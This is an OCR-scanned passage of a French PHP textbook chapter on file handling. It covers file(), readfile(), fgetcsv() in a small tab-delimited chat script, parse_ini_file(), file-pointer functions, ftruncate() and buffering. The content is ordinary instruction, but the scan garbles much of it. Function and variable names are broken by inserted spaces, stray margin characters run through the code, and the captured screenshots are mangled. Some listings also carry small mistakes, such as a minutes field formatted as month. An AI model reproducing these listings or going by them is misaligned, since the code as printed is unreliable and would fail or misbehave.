Dans le cas ou vous devez recuperer une donnee comportant une espace, il est 
indispensable de ne pas utiliser le formatage des donnees avec "%s". Vous devez en 
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revanche utilizer les expressions regulieres afin de preciser quels caracteres peut 
contenir la chaine ou, plus simplement, preciser quels caracteres ne peut contenir la 
chaine (ici, la tabulation qui a ete choisie comme delimiteur). 

v Pour plus d' informations sur les expressions regulieres, reportez-vous au chapitre "La 

manipulation des chaines de caracteres" 
RENVOI 

Lecture d'un bloc 

Le langage PHP possede une fonction permettant d'effectuer cette operation sans avoir a gerer 
1'ouverture et la fermeture des fichiers. L'instruction file ( ) retourne en effet le contenu d'un 
fichier dans un tableau, chaque entree etant une ligne du fichier. 




REMARQUE 



file() 



Retourne le contenu d'un fichier dans un tableau. 

Syntaxe array file(string $nomFichier [, int $chemi nlncl ude [, 

resource $contexte]]) 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 

$contexte Parametre optionnel, utilisable depuis les versions 4.3 de PHP, specifiant 

la ressource de contexte creee par stream_context_create ( ) a 
utiliser. Voir le sous-chapitre sur les flux pour plus de renseignements sur 
les contextes de flux. 

retour Tableau indexe contenant chaque ligne du fichier, ou FALSE si une erreur 

est survenue. 



Listing 9.5 : file.php 

<?php 

$buffer = file("message.txt"); 
for ($i=0;$i<count($buffer) ;$i++) 
{ 

echo "<font color='#ccOOOO'>message " . ($i+l) . "</font>: "; 
echo $buffer [$i] ; 
echo "<br />"; 

} 

?> 

Si vous souhaitez simplement afficher le contenu du fichier sur la sortie, il existe une fonction 
plus pratique ; readf ile ( ) permet en effet ce type d'operation. 
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readfileQ 



to 



Retourne, sur la sortie standard, le contenu du fichier passe en parametre. 



$nomFi chi er 



Syntaxe 



int readfile(string $nomFichier [, int $chemi nlncl ude [, 
resource $contexte]] ) . 

Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants. 




$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 



Listing 9.6 : readf ileOLphp 

<?php 

$taille = readf i 1 e("http://www.mozi 1 1 a. org") ; 
echo "<hr />"; 

echo "Taille de la page = " . $tai lie." octets"; 

?> 

Cette fonction est egalement pratique (associee a un en-tete approprie) pour forcer le 
telechargement de fichiers, y compris s'il s'agit de fichiers habituellement interpretes par le 
navigateurs (.txt, .html, etc.). 

Listing 9.7 : readfile_02.php 

<?php 

header("Content-type: appl ication/octet-stream") ; 

header ("Content -di sposi tion: attachment; fi 1 ename=\"message.txt\") ; 

readfile("message.txt") ; 

?> 

Le premier en-tete permet de "forcer" le type du document en un type theoriquement non 
interprets par le navigateur du client (sauf si ce dernier l'a configure de maniere inadequate), 
ce qui aura pour effet de proposer la sauvegarde du fichier sur le disque. Le second en-tete 
permet de suggerer un nom de sauvegarde pour le fichier. Et, enfin, l'appel a readfileO 
envoie les donnees au client. 

De la meme facon, il est possible de rediriger un fichier sur la sortie standard a partir de la 
position courante du pointeur de lecture, fpassthru ( ) , tout comme readf ile ( ) , est utilise 
pour envoyer au client le contenu d'un fichier. Attention, fpassthru () ferme 
automatiquement le fichier (vous ne pouvez plus utiliser l'identifiant de fichier). 



$contexte 



Parametre optionnel, utilisable depuis les versions 4.3 de PHP, specifiant 
la ressource de contexte creee par stream_context_create ( ) a 
utiliser. Voir le sous-chapitre sur les flux pour plus de renseignements sur 
les contextes de flux. 



retour 



Retourne le nombre d'octets qui ont ete lus, ou FALSE en cas d'erreur. 
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;s "5 pointeur de lecture. 

Syntaxe int fpassthru (resource $fp) 



fpassthru() 

Retourne sur la sortie standard le contenu d'un fichier a partir de la position courante du 



m w - 

o> b 55 



w — 

en 53 
co j= >a> 



$fp Identifiant de fichier tel que retourne par fopen(), popen() et 

f sockopen ( ) . 

retour Nombre d'octets renvoyes sur la sortie standard. 

Listing 9.8 : fpassthru. php 

<?php 

// Ouverture du fichier en mode lecture 
$fp = fopen("message.txt" , "r") ; 

// Deplacement de la position courante de 20 octets. 
fseek($fp, 20, SEEK_SET) ; 

echo "<b>Affiche le fichier a partir du 20eme caractere.</b>"; 
echo "<br />"; 
fpassthru ($fp) ; 

echo "<hr />"; 

// reouverture necessaire du fichier en mode lecture 
$fp = fopen ("message. txt" , "r") ; 

// Deplacement de la position courante de 100 octets. 
fseek($fp, 100, SEEK_SET) ; 

echo "<b>Affiche le fichier a partir du lOOeme caractere.</b>" ; 
echo "<br />"; 
fpassthru ($fp) ; 

?> 

Depuis PHP4.3, l'instruction f ile__get_contents ( ) a fait son apparition. Pratique cette 
fonction permet de recuperer le contenu d'un fichier directement dans une variable chaine. 



file_get_contents() 

Retourne le contenu d'un fichier dans une chaine de caracteres. Cette fonction est plus rapide 
a utiliser qu'une lecture en utilisant f read ( ) ou f gets ( ) . 

Syntaxe: string f i 1 e_get_contents (stri ng $nomFichier [, bool 

$chemi nlncl ude [, ressource $contexte]] ) 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 
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$contexte Parametre optionnel specifiant la ressource de contexte creee par 

stream_context_create ( ) a utiliser. Voir le sous-chapitre sur les 
flux pour plus de renseignement sur les contextes de flux. 

retour Retourne dans une chame de caracteres le contenu du fichier specifie en 

argument. Si la lecture a rencontre un probleme, la fonction retourne 

FALSE. 



Voici une alternative a l'exemple vu avec readf ile ( ) : 
<?php 

$contenu = file_get_contents("http://www. mozilla.org") ; 
echo $contenu ; 

?> 



Lecture et filtrage HTML 

Le langage PHP possede une instruction permettant de lire une page HTML et de la retourner 
sans les differentes balises. II s'agit de f getss ( ) , qui est similaire a la fonction f gets ( ) - si ce 
n'est que les donnees retournees ne possedent plus aucune balise HTML, hormis celles que le 
developpeur aura demande de conserver. 



fgetssQ 



Lecture de la ligne courante du fichier sans les balises HTML le composant. 

Syntaxe string fgetss (resource $fp, $nbOctet [, string $tagsAutori se] ) 

$fp Identifiant sur un fichier ouvert a 1'aide de l'instruction fopen(), 

f sockopen ( ) ou popen ( ) . 

$nbOctet Nombre d'octets qui doivent etre lus. 

$tagsAutori se Les balises qui ne doivent pas etre supprimees ; vous pouvez en specifier 
plusieurs en les separant par le caractere " | ".Ex. : "<br> | <b> | <center>". 

retour Chaine contenant les donnees lues de la ligne courante sans les balises 

HTML. Retourne FALSE si le pointeur se trouve a la fin du fichier. 



Listing 9.9 : fgetss.php 

<?php 

$fp = fopen ("http://www.gnu.org/home. fr. html ", "r") ; 
while ($1 igne=fgetss($fp, 255, "<br>|<center>")) 
{ 

echo $1 i gne ; 

} 

fclose($fp); 

?> 
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REMARQUE 



Les balises sur plusieurs lignes 

Le fait que Vinstruction fgetss ( ) ne retourne qu'une ligne a la fois fait qu'il est 
impossible de supprimer les balises de deux lignes et plus. Avant toute chose, il est 
done important de verifier que le code HTML de votre fichier ne possede pas de 
balises sur plusieurs lignes. Si vous n'etes pas I'auteur de la page que vous voulez 
traiter, commencez par mettre tout le code HTML sur une ligne unique, comme lefait 
le code ci-dessous. 

<?php 

$buffer = fi 1 e("http://www. gnu.org/home. fr. html ") ; 

$fichier = joi n("" ,$buffer) ; 

echo strip_tags ($f i chier, "<br>|<center>") ; 

?> 

La page retournee est ici completement vide de balises HTML, a Vexception des 
balises <br> et <center> que nous avions choisi de conserver. 



GNU'S Not Unix! - Le projet GNU et la Fondation pour le Logiciel Libre (FLL/FSF) - Netscape 6 
pjchier Edition Afficher Rechercher Aler a Signets laches Aide 



J_ n x 



4. » 

Pre ce dent Transferer 



a 

Rechai ger 



rreter ' 



hitp i'.Vv/w gnu .org/home . fr .h'trnl 



GNU's Not Unix! 




r Allernand I Angiais I Catalan I Chinois I Coreen I Dane is I Espagnol I Francais I Hongrois 
It alien UaponaisNeerlandais I Portugal's I Su^dois I Turc 

Rienvenue sur le serveur web du projet GNU, www.gnu.org, Le proje t 
GNU aete lance en 1984 afin de developper un systerne d'exploitation 
complete semblable aUnix et qui soit un logiciel libre : le systerne GNU. 
(« GNU » est l'acronyme recurs if the « GNU's Not Unix »; on le 
prononce « gnou » avec un G audible) Des variantes du systeme 
d'exploitation GNU, basees sur le noyau « Linux », sont utilisees 
largernent a present; bien que ces systernes soient cornrnunernent appeles 
par le terrne « Linux », ils le seraient plus exaetement par 
«GNU/Linus» 



- Ce que nous 
ofirons 

■ Pour quo i nous 
sornrnes la 

■ Vers ou nous 

~iyie I Document : Terrnine (4.507 s) 



■ Aidez-nous ay arriver 

■ Qui nous sornrnes 

■ Ce que les utilisateurs pensen t 
des logiciels GNU 



Figure 9.1 : Le site original 
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Netscape 



J-nx 



Fichier Edition Afficher Recliercrier AJer a Signets laches Aide 



lechaj aer - ' 



Precedent Transferer Recharger Arreier 



hitpi^n^ownrJc/cdrjinychaioOS. fichiersffgetss. alter v 



GNU's Not Unix! - Le projet GNU et laFondation pour le Logiciel Libre (FLL/FSF) 
GNU's Not Unix! 

[ Allemand I Anglais I Catalan I Chinois I Coreen I Danois I Espagnol I Franc,ais I Hongrois I 

Italien I Japonais I Neerlandais I Portugais I Suedois I Turc ] 
Bienvenue sur le serveur web du projet GNU, www.gnu.org. Le projet GNU aete lance en 
19S4 afin de developper un systems d'exploitation complet, sernblable aUnix et qui sort un 
logiciel libre: ie systeme GNU. (« GNU » est l'acronyrne recursif the « GNU's Not Unix »; 
on le prononce « gnou » avec un G audible) Des variantes du systems d'exploitation GNU, 
basees sur le noyau « Linux », sont utilisees largement a present; bien que ces systernes 
soient comrnunement appeles par le terrne « Linux », ils le seraient plus exactement par 
« GNU/Linux », Ce que nous offrons Pourquoi nous sommes la Vers ou nous allons 
Aidez-nous ay arriver Qui nous sommes Ce que les utilisateurs pensent des logiciels GNU 
Repertoire des Logiciels Libres I Agendal Nos conferenciers 

Commander nos produits I Logiciels GNU I Obtenir de l'aide 

Les licences de iogiciels I Le coin des developpeurs I Les projets GNU 

Documentation GNU I Autre documentation libre I Les licences pour la documentation I 

Brave GNU World I La reconnaissance de GNU I Information pour lapresse 

Sites-rniroirs I Quoi de neuf I Rechercher I Schernadu site I Liens I Humour 
Les depeches de GNU Nous invitons les scientifiques ajoindre auplus vite lacarnpagne 
d'ecriture de lettres pour laPublic Library of Science (Sibliotheque Scientifique Publique). 

Don Marti lance un appel pour nominer Richard M. Stallman pour le Comite de 
Consultation Publique de l'Office des Brevets et des Marques deposees des Etats-Unis dans 
sonessai. Patent Reform Now!. L'echeance tombe le 12 April 2001. Le secretaire d'Etat de , 

Vitvliwrfip frnn^fli= f*" l WH<!tifln Pi^rrpr p^t pntrp rtana Vhi^tnirp nriiir nnnrifl i r i r\n snv h-rov^t^ _ZJ 
:■■> ■) .-i "-rfiii- " " : ■ 
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Figure 9.2 : Le site apres suppression des balisesHTML 
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Lecture des fichiers CSV 

Un fichier CSV (pour Comma Separated Value, valeurs separees par des virgules) est un 
format utilise par un grand nombre de tableurs et de bases de donnees pour l'importation et 
l'exportation des donnees. Ce format est constitue de lignes comportant differentes valeurs 
separees par un delimiteur (a l'origine une virgule, mais generalement un point-virgule pour les 
versions franchises). Chacune des lignes du fichier represente alors une ligne d'un tableau, et 
chacune des valeurs, une donnee d'un champ de ce tableau. Voici un exemple de fichier CSV : 

Laurent;GUEDON;http://www.tild.com;Societe de devel oppement 
Pierre- Emmanuel ;MULLER;http: //pern. 1 evil lage.org; Journal isme 
Thomas;HEUTE;http://www.toutestfacile.com;Le site pour apprendre 
Damien;HEUTE;http://www.ootoogo.com;Le portail du Tourisme et des Loisirs 

L'importation dans un tableau de type Excel ou Gnumeric donne un tableau de la forme 
ci-dessous (voir fig. 9.3) : 

L'instruction f getcsv ( ) permet de lire aisement ce type de fichier. Nous allons nous en servir 
pour recuperer notre fichier de messages (il suffira d'indiquer que le delimiteur n'est pas une 
virgule mais une tabulation). 
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B 




o 




1 


Laurent 


GUEDON 


http://www.tild.com 


Societe de developpement 




2 


Pierre-Emmanuel 


MULLER 


http://psm.levillage.org 


Journalisrne 




3 


Thomas 


HEUTE 


http://www.toute5tfacile.com 


Le site pour apprendre 




4 


Damien 


HEUTE 


http://www.ootoogo.com 


Le portail du Tourisme et des Loisirs 




5 












6 












7 












B 













Figure 9.3 : Un tableau Excel apres importation des donnees dufichier CSV 



fgetcsv() 

fichier et retourne un tableau contenant les differents champs CSV. 

array fgetcsv(resource $fp, int $nbOctet [, string 
$del i mi teur] ) 

Identifiant sur un fichier ouvert a l'aide de l'instruction fopen(), 
f sockopen ( ) oupopen ( ) . 

Nombre d'octets qui doivent etre lus au maximum. 

Caractere delimitant chacune des donnees (par defaut, le delimiteur est la 
virgule). 

Retourne un tableau contenant les differentes donnees d'une ligne du 
fichier CSV. Lorsque la fin du fichier est atteinte, la fonction retourne 

FALSE. 

Et voila ! Cette fonction est particulierement bien adaptee a notre systeme de discussion. 

Listing 9.10 : chat.php 

<?php 

// Verifie que les donnees sont bien postees 
if($_POST["message"] && $_POST["pseudo"] ) 

{ 

// Ouverture du fichier en ecriture (mode ajout) 
$fp = fopen("message.txt", "a+"); 
// Recuperation de l'heure 
$heure = date( 1 H:m: s 1 ) ; 

// Ecriture de l'heure et d'une tabulation 
fwrite($fp, $heure. "\t") ; 
// Ecriture du pseudo et d'une tabulation 

/* 

On utilise l'instruction html Entities afin de 
convertir les caracteres speciaux dans leur entite 
HTML 

V 

fwrite($fp, html Entities($_POST ["pseudo"] ) ."\t"); 
// Ecriture du message 

fwrite($fp, htmlEntities($_POST["message"]) ."\n") ; 
// On ferme le fichier. 



Lit une hgne d'un 
Syntaxe 

$fp 

$nbOctet 
$del i mi teur 

retour 
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fclose($fp) ; 

} 

?> <o 

—** 

-t o" r— 

<html> "g co u= 

<title>Ecrire des messages dans un fichier</title> — » 5> 

</head> 3 2. 5 

<body> " co q. 

<table border="0" width="100%"> " ™ 

<?php 

// Affiche les messages 

$fp = fopen("message.txt", "r") ; 

while($donnee = fgetcsv($fp, 255, "\t")) 

{ 

echo "<tr>"; 

echo " <tdxfont color= ' #0000ff '>" ; 

echo $donnee[0] ; 

echo " </fontx/td>" ; 

echo " <tdxb>"; 

echo $donnee[l] ; 

echo " </bx/td>"; 

echo " <td>"; 

echo $donnee[2] ; 

echo " </td>"; 

echo "</tr>"; 

} 

fclose($fp); 

?> 

</tabl e> 
<hr /> 

<table border="0" width="100%"> 
<tr> 

<form method="post"> 
<td width="600"> 
pseudo: 

<input type="text" name="pseudo" 

value="<?php html Entities ($_POST["pseudo"] ) ;?>" 

size="20" maxlength="20"> 
message: 

<input type="text" name="message" size="40" maxl ength="255"> 
<input type="submit" name="envoyer" VALUE=">> "> 

</td> 
</form> 

<td> </td> 

</tr> 
</body> 
</html> 
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^ Ecrire des messages dans unfichier- Netscape 6 



J_ n x 



richisr Edition Afficher Rschercher Aljera Signets Tachss Aide 



^3, 



_ 



Fiech anger 



htfp^yQwnpdcdrorn/chap09_fich "*~ | 



15:07:48 Laurent C'est bon, je suis enfin en vacances ! 

15:07:50 Damien Nonmajstureves,.. tu as un chapitre arendre ! 

15:07:49 Pern Hi hi hi... :) 

15:07:48 Laurent Groupf... Je vais devoir y passer lanuit la ! 

15:07:49 Thomas Tudevrais faire cornrne rnoi. 

15:07:00 Thomas Des jours que je ne dors plus ! 

15:07:10 Thomas Mon secret ? Lacafeine ! 



pseudo: | rrf 

ijst Sj^ I Document : Termirie (1 .577 s 



Figure 9.4 : 

Void le systeme de 
discussion qu 'il ne vous 
res te plus qu'a 
perfectionner 



Lecture des fichiers .ini 

L'installation d'un logiciel ou d'une application necessite la creation d'un certain nombre de 
parametres dependant de 1'utilisateur ou de l'environnement. II est courant de stocker ces 
informations dans un fichier du type monFichier.ini. Le fichier de configuration php.ini est un 
bon exemple de ce genre de configuration. Celui-ci contient alors, sous un format bien 
specifique, differentes donnees, regroupees par section, qui peuvent etre exploitees par la suite. 
Le fichier se presente de la fagon suivante : 

; Quelques lignes de commentai res . 

; Le parseur ne les prendra pas en compte. 

[sectionl] 
uti 1 i sateur = 3 
admi ni strateur = 1 
;n'en = rien 

[section2] 

titre = Mon application 
url = http://www.tild.com 

[section3] 

fichier = parse_ini_file.php 

chemi n = /home/e-smi th/fi 1 es/i bays/kangouroo/html /bi bl e/fi chi er 
droit = 755 

Le langage PHP possede une fonction permettant de traiter les fichiers de ce type et d'en 
extraire les elements qui le composent. L'instruction parse_ini_f ile ( ) retourne les 
differentes donnees dans un tableau associatif. Vous pouvez recuperer un tableau sur deux 
niveaux comportant, dans le premier niveau, les differentes sections et, dans le second, les 
attributs et leurs valeurs. 
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parse_ini_file() 



CO 

Retourne les differents elements composant un fichier du type .ini et forme un tableau 3> 5; & 
associatif. ™ 5 ro 



Syntaxe array parse_ini_file(string $nomFichier [, boolean 3 

$traiteSection] ) 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants en 

donnant une URL en parametre. 

$trai teSecti on TRUE si vous souhaitez que les donnees de chaque section soient 
regroupees dans des tableaux, FALSE (par defaut) sinon. 

retour Selon les cas : 

Un tableau associatif ayant pour cles les noms des sections et pour valeur 
un tableau associatif ayant lui-meme pour cle le nom du parametre et pour 
valeur la valeur associee si $traiteSection=TRUE. 
Un tableau associatif ayant pour cles les noms des parametres (toutes 
sections confondues) et pour valeur la valeur associee si 
$traiteSection=FALSE. 



3. co 

1- a s- 



«*> CD o. 
CO CD 
CO 



Listing 9.11 : parsejnifile.php 

<html> 
<head> 

<title>Lecture d'un fichier CSV</title> 
</head> 
<body> 

<table border="l" eel 1 paddi ng=" 1" eel 1 spacing="0"> 
<tr> 

<td colspan="2"> 

<?php 

echo "Affichage des donnees sans les differentes sections."; 
echo " </td>"; 
echo "</tr>"; 

$tableaulni = parse_ini_file("emma.ini ") ; 
while (list($key, $val) = each($tableaulni)) { 



echo ' 


<tr>" ; 


echo ' 


<td>" 


echo ' 


$key"; 


echo ' 


</td> 


echo ' 


<td>" 


echo ' 


$val"; 


echo ' 


</td> 


echo ' 


</tr>"; 


} 

?> 




</tabl 


e> 


<br /> 



<table border="l" eel 1 paddi ng=" 1" eel 1 spaci ng="0"> 
<tr> 
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<td colspan="2"> 

<? 

echo "Affichage des donnees avec les differentes sections."; 
echo "<br />"; 
echo " </td>"; 
echo "</tr>"; 

$tableaulni = parse_i ni_f i 1 e("emma. ini " , TRUE); 

while (1 ist($section, $tableauPar) = each($tableaulni)) { 



echo 
echo 
echo 
echo 
echo 



<tr>" ; 

<td colspan='2'>"; 

<b>" . $secti on . "</b>" ; 

</td>"; 
</tr>"; 



while (list($key, $val) = each ($tabl eauPar) ) { 



echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 



} 



<tr>" ; 
<td>" ; 

$key"; 
</td>"; 
<td>" ; 

$val "; 
</td>"; 
</tr>"; 



} 

?> 

</tabl e> 

</body> 

</html> 



^ Lecture d'un fichier M - Netscape 6 



|- H X 



Rchier Edition Afficher Rechercher Altera Signets Taches Aide 


^ ▼ *" 3f fi - 1^ httpJAn^ownpcteclromfthai 
Precedent Transferer Recharger Aneter 1 1 




Affichage des donnees sans les _ ferenl es sections. 




utilisateur 


3 


|admini5trateur 


1 


| titre 


Mori application 


| url 


lit t p : //www. t i id . c o rn 


| fichier 


parse_ini_file.php 


| chemin 


n nith/fil 1 t u htm.) i 1 f i 


] droit 


755 






i Affichage des donnees a,ve<: ; . fe ; sections. 




1 sectionl 


; utilisateur 


3 


i [admmistrateur 


1 


] |section2 


| titre 


Mori application 


| url 


http://www.tiid.com 


section3 


| fichier 


parse_ini_file.php 


| chernin 


/home/e-smith./f iies/ibays/bangouroo/ht ml/bib le/fichier 


| droit 


755 






^ Document :Termine (1.209 s) H&=d" 



Figure 9.5 : 

Le resultat de 
traitement du fichier 
emma.ini 
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Positionner le pointeur de lecture/ecriture 

Lorsque Ton desire lire les donnees contenues dans un fichier, elles sont dans un premier temps 
copiees dans un espace memoire (buffer). On dit que le mode de lecture est "bufferise". Une 
fois le fichier ouvert, un pointeur de lecture se place automatiquement au debut de ce fichier, 
chacun des appels a une instruction de lecture faisant avancer ce pointeur. L'avancee de ce 
pointeur peut etre controlee par trois fonctions qui sont f eof ( ) , f seek ( ) ou rewind ( ) . La 
premiere instruction permet de determiner si la fin du fichier ouvert est atteinte. La seconde 
instruction repositionne le pointeur de lecture (ou d'ecriture) a une position specif ique. Quant 
a la derniere fonction, elle renvoie le pointeur au debut du fichier. 



feof() 

Determine si la fin du fichier est atteinte. 
Syntaxe boolean f eof (resource $fp) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) ou popen ( ) . 

retour Retourne TRUE si le pointeur est a la fin du fichier, FALSE dans le cas 

contraire. 

<?php 

$fp = fopen("data.txt", "r"); 
// Traitements divers 
if (feof($fp)) 

{ 

echo "Fin du fichier. <br />"; 

} 

fclose($fp) ; 

?> 

Vous pouvez connaitre la position courante du pointeur a l'aide la fonction f tell ( ) . 



ftell() 

Retourne la position courante du fichier. 
Syntaxe int ftel 1 (resource $fp) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile (), f sockopen ( ) oupopen(). 

retour Retourne la position courante du pointeur de lecture/ecriture. 

<?php 

$fp = fopen("data.txt", "r"); 
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echo "Position courante 



.ftell($fp); 




fclose($fp) ; 

?> 



fseek() 



Deplace le pointeur de lecture/ecriture d'un fichier a une position specifique. 



retour 



Syntaxe 

$fp 



$offset 



$ 



ongi ne 



int f seek (resource $fp, int $offset [, $origine]) 

Identifiant sur un fichier ouvert a l'aide d'une instruction f open ( ) , 
tmpf ile ( ) , f sockopen ( ) oupopen ( ) . 

Nombre indiquant le deplacement en octets (positif ou negatif) par 
rapport a l'origine selectionnee. 

Indique a partir de quel endroit doit etre compte le deplacement. Au choix : 
SEEK_SET ( = 0) a partir du debut du fichier. 

SEEK_CUR ( = 1) a partir de la position courante du pointeur (valeur par 
defaut). 

SEEK END ( = 2) a partir de la fin du fichier. 
en cas de succes, et -1 en cas d'erreur.. 



II est a noter qu'un deplacement positif a partir de la fin du fichier n'entrame pas d'erreur. En 
effet, deplacer un pointeur au-dela de EOF est possible. 

Listing 9.12 : fseek.php 

<?php 

echo "taille : " .f i lesi ze("message.txt") ; 
// Affiche la taille du fichier en octets 

echo "<br />"; 

$fp = fopen ("message. txt" , "r") ; 
fseek($fp, 20, SEEKJET); 

echo "Position par rapport au debut du fichier (0+20) : "; 
echo ftell($fp)."<br />"; 

fseek($fp, 20, SEEK_CUR) ; 

echo "Position par rapport a la position courante (20+20) : "; 
echo ftell($fp)."<br />"; 

fseek($fp, 20, SEEK_END) ; 

echo "Position par rapport a la fin du fichier (Fin+20 ): "; 
echo ftell($fp)."<br />"; 

fclose($fp); 

?> 
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pourrait retourner un resultat du genre : 

taille : 190 co 

Position par rapport au debut du fichier (0+20) : 20 i? r- 

Position par rapport a la position courante (20+20) : 40 H" ia 

Position par rapport a la fin du fichier (Fin+20 ): 210 3. v> 5? 

~ a 5- 

CD Q. = 
*> CD o. 

J\ Lepointeur de lecture leer iture °° co 

Si vous ouvrez le fichier a I'aide de I'instruction fopen ( ) avec le mode "a" ou "a+" 
ATTENTION ( ouverture pour ajout de donnees), le pointeur est systematiquement place a la fin du 
fichier. 



rewind () 

Repositionne le pointeur de lecture/ecriture au debut du fichier. 
Syntaxe boolean rewind (resource $fp) 

$fp Identifiant sur un fichier ouvert a I'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) oupopen(). 

retour TRUE si l'operation s'est deroulee sans probleme, et FALSE si le pointeur 

n'a pas pu etre repositionne. 

<?php 

$fp = fopen("message.txt", "r"); 
// Traitements divers 
if (rewind($fp)) 

{ 

echo "Le pointeur du fichier a ete repositionne au debut"; 
echo "<br />"; 

} 

fclose($fp) ; 

?> 



Tronquer un fichier 

Une fonction particuliere permet de tronquer les fichiers qui ont ete ouverts en mode ecriture. 
Le langage PHP permet de recuperer une partie des informations contenues dans un fichier et 
de les reecrire en supprimant le reste des donnees. L'instruction f truncate ( ) ne fonctionne 
que dans le cas ou le fichier a ete ouvert en ecriture, e'est-a-dire les modes ecriture seule (V, 
'a'), lecture et ecriture (W, 'a+'). 
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fichier (i.e. ne conserve que les premiers octets du fichier). 
int ftruncate(resource $fp, int $tai lie) 

Identifiant sur un fichier ouvert a l'aide d'une instruction f open ( ) , 
tmpf ile ( ) , f sockopen ( ) oupopen ( ) . 

Nouvelle taille du fichier. 

1 (mais pas strictement TRUE) si le fichier a bien ete tronque, (mais pas 
strictement FALSE) sinon. 

Imaginons le contenu d'un fichier dedicace.txt. 

Je dedicace ce livre a tous mes amis 

Et plus parti culierement a Myriam si adorable. 

A Ami el pour son soutien et ses competences. 

A Damien pour savoir botter le cul quand il le faut. 

A Thomas pour son calme a faire passer un bouddha pour un rocker sous ecsta. 

Ce fichier est bien trop long et nous ne voulons conserver que les deux premieres lignes. La 
principale difficulte consiste done a determiner la nouvelle taille que nous souhaitons donner a 
ce fichier. Pour cela, il suffit de lire les deux premieres lignes, et de determiner quelle est la 
position atteinte par le pointeur de fichier (grace a f tell ( ) ). Cette position correspondra a la 
taille voulue. 

Listing 9.13 : ftruncate.php 

<?php 

// Ouvre un fichier texte en mode lecture et ecriture 
if ($fp = fopen("dedicace.txt", "r+")) 

{ 

// Lecture des deux premieres lignes 
fgets($fp, 255); 
fgets($fp, 255); 

// On tronque a une taille egale 

// a la position courante du pointeur de 

// lecture 

ftruncate($fp, ftel 1 ($fp) ) ; 
// Fermeture du fichier 
fclose($fp) ; 

// Affichage du fichier une fois tronque 
readfile("dedicace.txt") ; 
} else { 

echo "Impossible d'ouvrir le fichier dedicace."; 

} 

?> 



ftruncateO 

Tronque un 



CO 

03 w 
^ OJ CO 

S 22 "= Syntaxe 
o j Q 



$fp 

$taille 
retour 
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Ce qui donnera le resultat suivant : 

Je dedicate ce livre a tous mes amis 

Et plus parti culierement a Myriam si adorable. 

Gestion de l'espace tampon 

L'ecriture dans un fichier est effectuee en deux temps. Les donnees sont d'abord copiees vers 
un buffer (espace memoire) et sont ensuite ecrites sur le fichier ouvert. Ce systeme de 
bufferisation permet de gagner du temps, car les appels systeme se font plus rares. Imaginons 
que Ton desire ecrire dans un fichier 20 lignes de 200 caracteres. II faudra alors normalement 
20 appels systeme pour ecrire la totalite des donnees dans le fichier. L'utilisation du buffer 
permet d'ecrire une seule fois les 4 000 (20*200) caracteres, c'est-a-dire que le programme ne 
fait appel qu'une fois au systeme d'exploitation, et ne sollicite qu'une fois le disque dur pour 
ecrire dans le fichier. Le langage PHP possede, par defaut, un buffer de 8 Ko, mais il est 
possible de lui fixer une autre taille avec l'instruction set_f ile_buf f er ( ) . II peut etre 
particulierement interessant d'augmenter cette valeur si votre script doit traiter des fichiers de 
ires grande taille. Depuis PHP 4.3, l'instruction stream_set_write_buf f er ( ) remplace cette 
fonction. set_f ile_buf f er ( ) demeure un alias pour des raisons de retro-compatibilites. 



stream_set_write_buffer () 

Fixe la taille du buffer. 



Syntaxe int stream_set_wri te_buffer (ressource $fp, int $taille) 

$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) oupopen(). 

$ t a i 1 1 e Nouvelle taille du buffer. 

retour si l'instruction se deroule convenablement, EOF dans le cas contraire. 



Du fait de la presence de ce systeme de cache, les donnees ecrites dans un fichier ne sont pas 
toujours disponibles immediatement (pour les scripts cherchant a en lire le contenu). Les 
donnees ne seront effectivement accessibles qu'une fois le buffer vide (ce qui intervient 
automatiquement des qu'il est plein ou manuellement lorsque vous appelez la fonction 

fflushO). 

Notez egalement que le buffer est automatiquement vide lors de l'appel a fclose(). A 
contrario, si vous quittez l'execution de votre programme sans faire appel a f close ( ) , vous 
courez le risque de perdre les donnees restant dans le cache. 



fflushO 

Ecrit et vide le buffer d'un fichier. 

Syntaxe boolean f flush (resource $fp) 
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$fp Identifiant sur un fichier ouvert a l'aide d'une instruction fopen(), 

tmpf ile ( ) , f sockopen ( ) ou popen ( ) . 

retour Retourne TRUE si le buffer a ete vide dans le fichier, ou FALSE dans le cas 

contraire. 

Listing 9.14 : fflush.php 

<?php 

$fp = fopen("twiki .txt", "w"); 
if ($fp) { 

// Les donnees seront ecrites tous les 500 octets 
set_file_buffer($fp, 500); 

// Cette phrase fait moins de 500 octets 
// el 1 e n'est done pas immedi atement ecrite 
fputs($fp, "Bidibidibidi comme dirait Twiki."); 

// Mais qu'a cela ne tienne. Nous allons forcer l'ecriture 
fflush($fp); 

// Cette phrase attendra fclose() pour etre ecrite 
fputs($fp, "Glop Glop comme dirait Pifou."); 

fclose($fp); 

} 

?> 



Lister le contenu d'un dossier 

Nous avons vu que, pour visualiser le contenu d'un fichier, il suffit de l'ouvrir et d'obtenir ainsi 
un pointeur vers ce fichier. L'ouverture d'un repertoire est similaire a celle d'un fichier. Vous 
creez, a l'aide de la fonction openDir ( ) , un identifiant, qui vous permet par la suite de lire ce 
dossier a la facon d'un fichier. 



openDir () 

Ouvre le repertoire designe et retourne un pointeur dessus. 

Syntaxe resource openDi r (stri ng $chemin) 

$ c h em i n Chemin du dossier a ouvrir. 

retour Pointeur sur le dossier ouvert. 

Ne pas oublier de fermer le dossier a l'aide de l'instruction closeDir ( ) . 



CO 
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closeDirQ 



CO 

Fermer un dossier prealablement ouvert avec la fonction openDir ( ) . co> =■ ET 

1 £™ 

Syntaxe void cl oseDi r (resource $repertoi re) o _ — 

^" S. 5' 

